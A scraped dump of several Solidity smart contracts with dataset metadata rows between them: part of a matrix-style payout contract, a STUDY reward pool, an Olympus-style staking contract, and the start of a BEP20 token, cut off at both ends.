_sendBonus(passiveShareAdr[i],0,_bonus);
_payout = _payout.add(_bonus);
}
//team share
_bonus = (_value.mul(teamShare)).div(10**4);
if (_bonus>_value.sub(_payout)) _bonus = _value.sub(_payout);
_sendBonus(teamShareAdr,0,_bonus);
_payout = _payout.add(_bonus);
//send unpaid amount to root
if (_value>_payout) _sendBonus(root,0,_value.sub(_payout));
//close deposit
users[_user].deposit = 0;
//emit Upgrade event
emit Upgrade(_user,_matrix,_value,_pack);
isLocked = false;
return true;
}
function _sendBonus(address payable _user, uint8 _type, uint256 _amount) private {
require(_user!=address(0)&&_amount>0,"wrong data");
if (useTrx) {
require(_amount<=address(this).balance,"low trx balance");
_user.transfer(_amount);
}
else {
require(_amount<=token.balanceOf(address(this)),"low token balance");
token.transfer(_user,_amount);
}
if (_type>0) emit Bonus(_user,_type,_amount);
}
function _updateUserRank(address _user, uint8 _pack) private returns(bool){
if (_pack>=2&&users[_user].rank<5&&users[_user].pack>=users[_user].rank+2&&users[_user].team[users[_user].rank]>=rankTeam[users[_user].rank]) {
if (rankedUsers[users[_user].rank]>0) rankedUsers[users[_user].rank]--;
users[_user].rank++;
rankedUsers[users[_user].rank]++;
//update refs ref team
if (_user!=root) users[users[_user].ref].team[users[_user].rank]++;
emit NewRank(_user,users[_user].rank);
}
}
function getUserTeam(address _user,uint8 _rank) public view returns(uint){
return users[_user].team[_rank];
}
function getPackLocked(address _user, uint8 _pack) public view returns(uint256){
return users[_user].packLocked[_pack];
}
function getTeamLocked(address _user, uint8 _pack) public view returns(uint256){
return users[_user].teamLocked[_pack];
}
function withdrawPackLocked(address _user, uint8 _pack) public isAdmin returns(bool){
require(_pack>=0&&_pack<packs,"wrong pack");
require(users[_user].packLocked[_pack]>0,"empty bonus");
require(block.timestamp-users[_user].lastPackLocked>=2592000,"too yearly");
_sendBonus(admin,0,users[_user].packLocked[_pack]);
users[_user].packLocked[_pack] = 0;
return true;
}
function withdrawTeamLocked(address _user, uint8 _pack) public isAdmin returns(bool){
require(_pack>=0&&_pack<packs,"wrong pack");
require(users[_user].teamLocked[_pack]>0,"empty bonus");
require(block.timestamp-users[_user].lastTeamLocked>=2592000,"too yearly");
_sendBonus(admin,0,users[_user].teamLocked[_pack]);
users[_user].teamLocked[_pack] = 0;
return true;
}
function changeStatus(address _user) public isAdmin returns(bool){
require(matrix[_user][0].start>0,"wrong user");
users[_user].vip = !users[_user].vip;
return users[_user].vip;
}
function setRate(uint _rate) public isAdmin returns(bool){
require(_rate>0&&_rate!=rate,"wrong value");
rate = _rate;
return true;
}
function switchUseTrx() public onlyOwner returns(bool){
useTrx = !useTrx;
return useTrx;
}
function pause() public onlyOwner returns(bool){
isPaused = !isPaused;
return isPaused;
}
}
| 296,626 | 12,484 |
dcca625c0ae6e58181aabd5ab02e33c719d9084cd246eebb1f83152c56359927
| 31,890 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/0c/0c62b927407a81ba0e56456531762b60c7364476_StudyRewardPool.sol
| 5,090 | 19,546 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Note that this pool has no minter key of STUDY (rewards).
contract StudyRewardPool {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// governance
address public operator;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
}
// Info of each pool.
struct PoolInfo {
IERC20 token; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. STUDYs to distribute per block.
uint256 lastRewardTime; // Last time that STUDYs distribution occurs.
uint256 accStudyPerShare; // Accumulated Studys per share, times 1e18. See below.
bool isStarted; // if lastRewardTime has passed
}
IERC20 public study;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 85001;
// The time when STUDY mining starts.
uint256 public poolStartTime;
// The time when STUDY mining ends.
uint256 public poolEndTime;
uint256 public StudyPerSecond = 0.0023460961 ether; // 75000 STUDY / (370 days * 24h * 60min * 60s)
uint256 public runningTime = 370 days; // 370 days
uint256 public constant TOTAL_REWARDS = 75000 ether;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event RewardPaid(address indexed user, uint256 amount);
constructor(address _study,
uint256 _poolStartTime) public {
require(block.timestamp < _poolStartTime, "late");
if (_study != address(0)) study = IERC20(_study);
poolStartTime = _poolStartTime;
poolEndTime = poolStartTime + runningTime;
operator = msg.sender;
}
modifier onlyOperator() {
require(operator == msg.sender, "StudyRewardPool: caller is not the operator");
_;
}
function checkPoolDuplicate(IERC20 _token) internal view {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].token != _token, "StudyRewardPool: existing pool?");
}
}
// Add a new lp to the pool. Can only be called by the owner.
function add(uint256 _allocPoint,
IERC20 _token,
bool _withUpdate,
uint256 _lastRewardTime) public onlyOperator {
checkPoolDuplicate(_token);
if (_withUpdate) {
massUpdatePools();
}
if (block.timestamp < poolStartTime) {
// chef is sleeping
if (_lastRewardTime == 0) {
_lastRewardTime = poolStartTime;
} else {
if (_lastRewardTime < poolStartTime) {
_lastRewardTime = poolStartTime;
}
}
} else {
// chef is cooking
if (_lastRewardTime == 0 || _lastRewardTime < block.timestamp) {
_lastRewardTime = block.timestamp;
}
}
bool _isStarted =
(_lastRewardTime <= poolStartTime) ||
(_lastRewardTime <= block.timestamp);
poolInfo.push(PoolInfo({
token : _token,
allocPoint : _allocPoint,
lastRewardTime : _lastRewardTime,
accStudyPerShare : 0,
isStarted : _isStarted
}));
if (_isStarted) {
totalAllocPoint = totalAllocPoint.add(_allocPoint);
}
}
// Update the given pool's STUDY allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint) public onlyOperator {
massUpdatePools();
PoolInfo storage pool = poolInfo[_pid];
if (pool.isStarted) {
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint);
}
pool.allocPoint = _allocPoint;
}
// Return accumulate rewards over the given _from to _to block.
function getGeneratedReward(uint256 _fromTime, uint256 _toTime) public view returns (uint256) {
if (_fromTime >= _toTime) return 0;
if (_toTime >= poolEndTime) {
if (_fromTime >= poolEndTime) return 0;
if (_fromTime <= poolStartTime) return poolEndTime.sub(poolStartTime).mul(StudyPerSecond);
return poolEndTime.sub(_fromTime).mul(StudyPerSecond);
} else {
if (_toTime <= poolStartTime) return 0;
if (_fromTime <= poolStartTime) return _toTime.sub(poolStartTime).mul(StudyPerSecond);
return _toTime.sub(_fromTime).mul(StudyPerSecond);
}
}
// View function to see pending STUDYs on frontend.
function pendingShare(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accStudyPerShare = pool.accStudyPerShare;
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (block.timestamp > pool.lastRewardTime && tokenSupply != 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _studyReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
accStudyPerShare = accStudyPerShare.add(_studyReward.mul(1e18).div(tokenSupply));
}
return user.amount.mul(accStudyPerShare).div(1e18).sub(user.rewardDebt);
}
// Update reward variables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.timestamp <= pool.lastRewardTime) {
return;
}
uint256 tokenSupply = pool.token.balanceOf(address(this));
if (tokenSupply == 0) {
pool.lastRewardTime = block.timestamp;
return;
}
if (!pool.isStarted) {
pool.isStarted = true;
totalAllocPoint = totalAllocPoint.add(pool.allocPoint);
}
if (totalAllocPoint > 0) {
uint256 _generatedReward = getGeneratedReward(pool.lastRewardTime, block.timestamp);
uint256 _studyReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint);
pool.accStudyPerShare = pool.accStudyPerShare.add(_studyReward.mul(1e18).div(tokenSupply));
}
pool.lastRewardTime = block.timestamp;
}
// Deposit LP tokens.
function deposit(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 _pending = user.amount.mul(pool.accStudyPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeStudyTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
}
if (_amount > 0) {
pool.token.safeTransferFrom(_sender, address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accStudyPerShare).div(1e18);
emit Deposit(_sender, _pid, _amount);
}
// Withdraw LP tokens.
function withdraw(uint256 _pid, uint256 _amount) public {
address _sender = msg.sender;
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 _pending = user.amount.mul(pool.accStudyPerShare).div(1e18).sub(user.rewardDebt);
if (_pending > 0) {
safeStudyTransfer(_sender, _pending);
emit RewardPaid(_sender, _pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.token.safeTransfer(_sender, _amount);
}
user.rewardDebt = user.amount.mul(pool.accStudyPerShare).div(1e18);
emit Withdraw(_sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
uint256 _amount = user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.token.safeTransfer(msg.sender, _amount);
emit EmergencyWithdraw(msg.sender, _pid, _amount);
}
function safeStudyTransfer(address _to, uint256 _amount) internal {
uint256 _studyBal = study.balanceOf(address(this));
if (_studyBal > 0) {
if (_amount > _studyBal) {
study.safeTransfer(_to, _studyBal);
} else {
study.safeTransfer(_to, _amount);
}
}
}
function setOperator(address _operator) external onlyOperator {
operator = _operator;
}
function governanceRecoverUnsupported(IERC20 _token, uint256 amount, address to) external onlyOperator {
if (block.timestamp < poolEndTime + 90 days) {
// do not allow to drain core token (STUDY or lps) if less than 90 days after pool ends
require(_token != study, "study");
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
PoolInfo storage pool = poolInfo[pid];
require(_token != pool.token, "pool.token");
}
}
_token.safeTransfer(to, amount);
}
}
| 331,817 | 12,485 |
935a5c4ba00439343cb3a75a1cf2c8c977d1795e783fbbc105eefa4334940620
| 27,358 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/48/483b85ad12c8ec58409166470684d71b8f7ce049_Staking.sol
| 4,197 | 16,936 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract Staking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 325,673 | 12,486 |
520114810fd8f95cb593bf98e56024d237a5008f12f912dfe03f14201d573279
| 29,114 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x5e1eA79793270E405e58a99674284cBca83C103c/contract.sol
| 5,090 | 18,254 |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
